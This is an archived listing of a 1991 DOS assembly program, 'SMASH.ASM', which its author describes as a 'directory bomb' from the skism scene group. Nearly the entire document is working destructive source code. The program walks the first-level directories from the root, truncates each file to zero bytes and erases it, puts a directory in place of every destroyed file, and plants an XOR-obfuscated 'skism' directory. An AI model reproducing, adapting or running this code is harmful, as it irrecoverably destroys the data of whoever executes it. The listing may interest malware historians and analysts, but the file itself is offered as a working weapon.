home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SMASH.ASM < prev    next >
Assembly Source File  |  1991-09-04  |  6KB  |  190 lines

  1. ;skism directory bomb v1.00
  2.  
  3. ;written by hellraiser
  4.  
  5. ;this is a lame bomb consisting of repetative/error full code
  6. ;but it gets the job done
  7. ;when run this program will start at the first directory from the root
  8. ;and trash all files in first level directorys
  9. ;then create a directory in place of the distroyed file name
  10.  
  11. ;it will also create a semi-removable directory called skism
  12.  
  13. ;yes bombs are very lame, and be advised, this is the only bomb
  14. ;skism shall ever write... but we must try everything once
  15.  
  16. ;be warned, the tech used by this program does not only erase files but
  17. ;it will also truncate them to 0 bytes, the skism method.
  18.  
  19. code     segment  'code'
  20. assume   cs:code,ds:code,es:code
  21.          org 0100h
  22.  
  23. main     proc   near
  24.  
  25. jmp      start
  26.  
  27.  
  28. thestoppa db   1ah                     ;EOF char to stop TYPE command
  29. filecards db   '*.*',0                 ;wildcards for files
  30. dircards  db   '*',0                   ;wildcards for directorys
  31. root      db   '\',0                   ;root directory path
  32. default   db   64    DUP (?)           ;buffer to hold current dir
  33. dirdta    db   43    DUP (?)           ;DTA for dirs
  34. filedta   db   43    DUP (?)           ;DTA for files
  35. dseg      dw    ?                      ;holds old dir DTA segment
  36. dofs      dw    ?                      ;holds old dir DTA segment
  37.  
  38. start:
  39.  
  40.      mov  di,offset vl                 ;decrypt skism string
  41.      mov  si,offset vl                 ;
  42.      mov  cx,09h                       ;
  43.  
  44.      cld                               ;
  45.  
  46. repeat:
  47.  
  48.      lodsb                             ;
  49.      xor  al,92h                       ;
  50.      stosb                             ;
  51.      dec  cx                           ;
  52.      jcxz bombstart                    ;
  53.      jmp  repeat                       ;
  54.  
  55. bombstart:
  56.  
  57.      mov   dx,offset  dirdta           ;set DTA to hold directorys
  58.      mov   ah,1ah                      ;DOS set DTA function
  59.      int   21h                         ;
  60.  
  61.      mov   ah,19h                      ;get drive code
  62.      int   21h                         ;
  63.  
  64.      mov   dl,al                       ;save drive code into dl
  65.      inc   dl                          ;translate for function 3bh
  66.  
  67.      mov   ah,47h                      ;save current dir
  68.      mov   si, offset default          ;save current dir into buffer
  69.      int   21h                         ;
  70.  
  71.      mov   dx,offset root              ;change dir to root
  72.      mov   ah,3bh                      ;
  73.      int   21h                         ;
  74.  
  75.      mov   cx,13h                      ;find directorys
  76.      mov   dx,offset dircards          ;find only directorys
  77.      mov   ah,4eh                      ;find first file
  78.  
  79. scanloop:
  80.  
  81.      int   21h                         ;
  82.      jc    quit                        ;quit if no more dirs/error
  83.  
  84.      jmp   changedir                   ;change to that dir
  85.  
  86. findnextdir:
  87.  
  88.      mov   ah,4fh                      ;find next directory
  89.      mov   dx,offset dircards          ;
  90.      jmp   scanloop
  91.  
  92. changedir:
  93.  
  94.      mov   dx,offset dirdta + 30       ;point to dir name in DTA
  95.      mov   ah,3bh                      ;change directory
  96.      int   21h                         ;
  97.  
  98. smash:
  99.  
  100.      mov   ah,2fh                      ;
  101.      int   21h                         ;
  102.      mov   [dseg],es                   ;save dir DTA segemnt
  103.      mov   [dofs],bx                   ;and offset
  104.      int   21h
  105.  
  106.      mov   dx,offset filedta           ;use file DTA as new DTA
  107.      mov   ah,1ah                      ;
  108.      int   21h                         ;
  109.  
  110.      mov   cx,0007h                    ;find flat attributes
  111.      mov   dx,offset filecards         ;point to '*.*',0 wildcard spec
  112.      mov   ah,4eh                      ;find first file
  113.  
  114. filescanloop:
  115.  
  116.      int    21h                        ;
  117.      jc     done                       ;quit on error/no files found
  118.  
  119.  
  120.      mov    ax,4301h                   ;clear files attributes
  121.      xor    cx,cx                      ;
  122.      mov    dx, offset filedta + 30    ;
  123.      int    21h                        ;
  124.      jc     quit
  125.  
  126.      mov    ah,3ch                     ;truncate file
  127.      int    21h
  128.      jc     quit
  129.  
  130.      mov    bx,ax                      ;save handle
  131.  
  132.      jc     done
  133.  
  134.      mov    ah,41h                     ;erase file
  135.      int    21h                        ;
  136.  
  137.      mov    ah,3eh                     ;close file
  138.      int    21h                        ;
  139.  
  140.      mov    ah,39h                     ;make directory in place of file
  141.      int    21h                        ;
  142.  
  143.      mov    ah,4fh                     ;find next
  144.      jmp    filescanloop
  145.  
  146. done:
  147.  
  148.      mov    ah,1ah                     ;restore directory DTA
  149.      mov    ds,[dseg]                  ;
  150.      mov    dx,[dofs]                  ;
  151.      int    21h
  152.  
  153.      mov   dx,offset root              ;change dir to root
  154.      mov   ah,3bh                      ;
  155.      int   21h                         ;
  156.  
  157.      jmp   findnextdir
  158.  
  159.  
  160. quit:
  161.  
  162.      mov    ah,3bh
  163.      mov    dx,offset root             ;change to root
  164.      int    21h
  165.  
  166.      mov    ah,39h
  167.      mov    dx,offset vl
  168.      int    21h
  169.      jc     restore
  170.  
  171. restore:
  172.  
  173.      mov    dx,offset default          ;restore original directory
  174.      mov    ah,3bh                     ;
  175.      int    21h                        ;
  176.  
  177.      mov    ah,4ch                     ;
  178.      int    21h                        ;
  179.  
  180. vl   db     0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0
  181.  
  182. filler  db  28  dup(1ah)
  183.  
  184. main    endp
  185. code    ends
  186.         end    main
  187.  
  188.  
  189.  
  190.